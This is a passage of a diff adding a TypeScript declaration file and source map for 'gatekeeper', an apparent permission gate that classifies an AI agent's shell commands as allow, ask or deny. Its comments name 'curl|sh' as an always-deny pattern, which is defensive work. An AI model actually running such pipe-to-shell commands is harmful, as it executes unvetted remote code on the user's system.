* Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
|
|
448
|
+
*
|
|
449
|
+
* 1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
|
|
450
|
+
* command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
|
|
451
|
+
* matcher could detect (per-segment evaluation would split `curl ... | sh` into
|
|
452
|
+
* `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
|
|
453
|
+
* returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
|
|
454
|
+
* no segment evaluation, no cascade walk.
|
|
455
|
+
* 2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
|
|
456
|
+
* segments. If no segments remain (empty command, whitespace-only, operators-only with no
|
|
457
|
+
* operands), return `{ decision: "ask", reason: "empty command" }`.
|
|
458
|
+
* 3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
|
|
459
|
+
* 4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
|
|
460
|
+
* `data-model.md:162`. The combined reason concatenates per-segment reasons with
|
|
461
|
+
* `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
|
|
462
|
+
* to the offending segment(s).
|
|
463
|
+
*
|
|
464
|
+
* Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
|
|
465
|
+
* classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
|
|
466
|
+
* precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
|
|
467
|
+
* `constitution §1.5` (cascade direction).
|
|
468
|
+
*
|
|
469
|
+
* @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
|
|
470
|
+
* handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
|
|
471
|
+
* `PermissionLevel` type excludes `"off"` from its union.
|
|
472
|
+
*/
|
|
473
|
+
export declare function classifyCommand(command: string, mode: PermissionLevel, rules: PermissionRules): PermissionDecision;
|
|
474
|
+
export declare function splitShellSegments(cmd: string): ShellSegment[];
|
|
475
|
+
/**
|
|
476
|
+
* True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
|
|
477
|
+
* candidate is a pure file-system path rather than a compound command fragment. Used by
|
|
478
|
+
* {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
|
|
479
|
+
* preview and the on-disk allowlist so a developer cannot accidentally approve only the file
|
|
480
|
+
* portion of `cat /tmp/output.txt`.
|
|
481
|
+
*
|
|
482
|
+
* Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
|
|
483
|
+
* matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
|
|
484
|
+
* leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
|
|
485
|
+
* short-circuit to `false` without scanning for metachars.
|
|
486
|
+
*
|
|
487
|
+
* Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
|
|
488
|
+
*/
|
|
489
|
+
export declare function isBarePath(entry: string): boolean;
|
|
490
|
+
/**
|
|
491
|
+
* Returns `true` when `segment` looks like a leading shell environment-variable assignment
|
|
492
|
+
* (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
|
|
493
|
+
* the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
|
|
494
|
+
* up to the next shell-operator boundary.
|
|
495
|
+
*
|
|
496
|
+
* This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
|
|
497
|
+
* escaped, etc.) — the shell segment parser has already resolved quoting before we see the
|
|
498
|
+
* token.
|
|
499
|
+
*/
|
|
500
|
+
export declare function isEnvAssignment(segment: string): boolean;
|
|
501
|
+
/**
|
|
502
|
+
* Strip one or more leading shell environment-variable assignments (`VAR=value`) from
|
|
503
|
+
* `command`. Only strips assignments that appear before the first non-assignment word,
|
|
504
|
+
* matching shell semantics where `VAR=val cmd` sets an env var for the command but
|
|
505
|
+
* `cmd VAR=val` passes `VAR=val` as a literal argument.
|
|
506
|
+
*
|
|
507
|
+
* Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
|
|
508
|
+
* leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
|
|
509
|
+
* by joining the surviving words.
|
|
510
|
+
*
|
|
511
|
+
* **Contract:**
|
|
512
|
+
* - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
|
|
513
|
+
* → `"~/cmd.sh arg"`
|
|
514
|
+
* - `stripLeadingEnvAssignments("A=1 B=2 echo hi")` → `"echo hi"`
|
|
515
|
+
* - `stripLeadingEnvAssignments("echo A=1 B=2")` → `"echo A=1 B=2"`
|
|
516
|
+
* (no leading assignments, unchanged)
|
|
517
|
+
* - `stripLeadingEnvAssignments("")` → `""`
|
|
518
|
+
* - `stripLeadingEnvAssignments("VAR='quoted val' cmd")` → `"cmd"`
|
|
519
|
+
*
|
|
520
|
+
* Pure function — no I/O, no side effects.
|
|
521
|
+
*/
|
|
522
|
+
export declare function stripLeadingEnvAssignments(command: string): string;
|
|
523
|
+
/**
|
|
524
|
+
* Compute the list of entries that "Allow Always" will persist for `command`, in the
|
|
525
|
+
* AC-008-01-mandated order: **first non-bare segment, then full trimmed command, then remaining
|
|
526
|
+
* non-bare segments in parser order**. Bare-path entries are filtered by
|
|
527
|
+
* {@link isBarePath} so `/tmp/out` / `~/notes.md`-style tokens do not escape as standalone
|
|
528
|
+
* allowlist entries. Duplicates are removed with an order-preserving Set-then-spread pass so the
|
|
529
|
+
* "full + segments" formula collapses to a single entry when the full command equals the first
|
|
530
|
+
* segment (e.g. `echo hello` → `["echo hello"]`).
|
|
531
|
+
*
|
|
532
|
+
* **Ordering contract** (PRD AC-008-01 verbatim — pinned by `test/allowlist.test.ts`):
|
|
533
|
+
* - `getAllowListEntries("npm install express && npm test")`
|
|
534
|
+
* → `["npm install express", "npm install express && npm test", "npm test"]`
|
|
535
|
+
* - `getAllowListEntries("a && b && c")` → `["a", "a && b && c", "b", "c"]`
|
|
536
|
+
* - `getAllowListEntries("cat /tmp/output.txt")` → `["cat /tmp/output.txt"]`
|
|
537
|
+
* (bare path inside the segment survives; the bare path as a standalone entry is filtered)
|
|
538
|
+
* - `getAllowListEntries("echo hello")` → `["echo hello"]` (single segment, no dedup)
|
|
539
|
+
* - `getAllowListEntries("npm test && npm test")` → `["npm test", "npm test && npm test"]`
|
|
540
|
+
* (first-occurrence-wins dedup; duplicate segment removed, full compound preserved)
|
|
541
|
+
*
|
|
542
|
+
* Contract anchors:
|
|
543
|
+
* - `data-model.md:177-228` (FR-008: allowlist entry computation)
|
|
544
|
+
* - PRD AC-008-01 / AC-008-02 / AC-008-03 (`["npm install express", "npm install express && npm test", "npm test"]`)
|
|
545
|
+
* - `architecture.md:152-163` (prompt preview ordering)
|
|
546
|
+
*
|
|
547
|
+
* Pure data transformation — no I/O, no `ExtensionContext`, no `os.homedir()` access. The
|
|
548
|
+
* empty-input early-return keeps dedup logic clean and matches PRD's "empty command → empty array"
|
|
549
|
+
* exception strategy.
|
|
550
|
+
*/
|
|
551
|
+
export declare function getAllowListEntries(command: string): string[];
|
|
552
|
+
/**
|
|
553
|
+
* Add `command` to the in-memory ephemeral allow set so the next evaluation that matches the
|
|
554
|
+
* command returns `{ allow: true }` without consulting the classifier or showing a prompt. Consumed
|
|
555
|
+
* on the immediate next match (single-use) via {@link isEphemeralAllowed}. Exported so tests can
|
|
556
|
+
* seed the set directly without going through {@link runPermissionGate}.
|
|
557
|
+
*/
|
|
558
|
+
export declare function ephemeralAllow(command: string): void;
|
|
559
|
+
/**
|
|
560
|
+
* Returns `true` exactly once for any command currently in the ephemeral allow set, removing the
|
|
561
|
+
* entry on the consuming read so the rule is single-use per FLOW-08 Happy-Path Step 1 ("Allow
|
|
562
|
+
* Once: rule held in memory; consumed on next match"). A second call with the same command
|
|
563
|
+
* returns `false` because the entry was drained on the first match.
|
|
564
|
+
*/
|
|
565
|
+
export declare function isEphemeralAllowed(command: string): boolean;
|
|
566
|
+
/**
|
|
567
|
+
* Add `command` to the in-memory session allow set so every subsequent evaluation within this
|
|
568
|
+
* Pi/OMP session returns `{ allow: true }` without consulting the classifier or showing a prompt.
|
|
569
|
+
* Unlike {@link ephemeralAllow}, the entry persists for the session lifetime and is NOT consumed
|
|
570
|
+
* on match — the developer can reuse the command freely until restart.
|
|
571
|
+
* Exported so tests can seed the set directly without going through {@link runPermissionGate}.
|
|
572
|
+
*/
|
|
573
|
+
export declare function sessionAllow(command: string): void;
|
|
574
|
+
/**
|
|
575
|
+
* Returns `true` for any command currently in the session allow set WITHOUT removing the entry,
|
|
576
|
+
* so the rule stays active for the rest of the session. A second call with the same command also
|
|
577
|
+
* returns `true` — the entry is cleared only by {@link sessionStartHandler} or
|
|
578
|
+
* {@link setCurrentMode}.
|
|
579
|
+
*/
|
|
580
|
+
export declare function isSessionAllowed(command: string): boolean;
|
|
581
|
+
/**
|
|
582
|
+
* Four-branch permission gate — the user-visible keystone for FLOW-07 (interactive prompt),
|
|
583
|
+
* FLOW-08 (scope: ephemeral / persist-allow / persist-deny), and FLOW-11 (headless auto-deny).
|
|
584
|
+
*
|
|
585
|
+
* Pipeline:
|
|
586
|
+
* 1. Off-mode bypass (FLOW-06) — `currentMode === "off"` returns `{ allow: true }` immediately,
|
|
587
|
+
* skipping both the classifier and the prompt. The type-checker treats `currentMode` as
|
|
588
|
+
* `PermissionLevel` (excludes "off"); the test-only `setCurrentMode("off")` cast forces
|
|
589
|
+
* "off" through, and the local alias `RuntimePermissionLevel` below widens the comparison
|
|
590
|
+
* back without weakening any static surface.
|
|
591
|
+
* 2. Session allow check — `isSessionAllowed(command)` returns `true` when the command was
|
|
592
|
+
* previously approved via "Allow This Session" for the rest of this session. Non-consuming,
|
|
593
|
+
* so repeated invocations of the same command reuse the same session-level token without
|
|
594
|
+
* re-prompting or persisting to disk.
|
|
595
|
+
* 3. Ephemeral check (FLOW-08 Step 1) — `isEphemeralAllowed(command)` is consume-on-match, so
|
|
596
|
+
* a single "Allow Once" click is honored exactly once on the immediate next evaluation.
|
|
597
|
+
* 4. Classifier (FLOW-07 routing) — `classifyCommand` yields `allow` / `deny` / `ask`; the
|
|
598
|
+
* `deny` branch short-circuits past the prompt per FLOW-07 ("deny is automatic"), the
|
|
599
|
+
* `ask` branch falls through to the prompt handler.
|
|
600
|
+
* 5. Prompt (FLOW-07 Step 4) — only reached when the classifier yields `ask` AND
|
|
601
|
+
* `ctx.hasUI === true`. On `allow-session` the gate seeds the session-level set; on
|
|
602
|
+
* `allow-once` the gate seeds the ephemeral set; on `allow-always` the gate persists the
|
|
603
|
+
* full {@link getAllowListEntries} list (not just the trimmed command) per the AC-005-04
|
|
604
|
+
* segment-persistence contract; on `deny` the gate persists the command to the current
|
|
605
|
+
* level's deny list.
|
|
606
|
+
*
|
|
607
|
+
* Headless safety (FLOW-11): when `ctx.hasUI === false`, the `ask` branch surfaces
|
|
608
|
+
* `BLOCKED (headless)` via `ctx.ui?.notify` (guarded through optional chaining so a runtime
|
|
609
|
+
* that omits the UI surface entirely does not throw) and returns `{ allow: false }`.
|
|
610
|
+
*/
|
|
611
|
+
export declare function runPermissionGate(command: string, ctx: ExtensionContext): Promise<{
|
|
612
|
+
allow: boolean;
|
|
613
|
+
persistWrite?: {
|
|
614
|
+
level: PermissionLevel;
|
|
615
|
+
action: "allow" | "deny";
|
|
616
|
+
pattern: string;
|
|
617
|
+
};
|
|
618
|
+
}>;
|
|
619
|
+
export default function gatekeeper(pi: ExtensionAPI): void;
|
|
620
|
+
export {};
|
|
621
|
+
//# sourceMappingURL=gatekeeper.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"gatekeeper.d.ts","sourceRoot":"","sources":["../src/gatekeeper.ts"],"names":[],"mappings":"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"}
|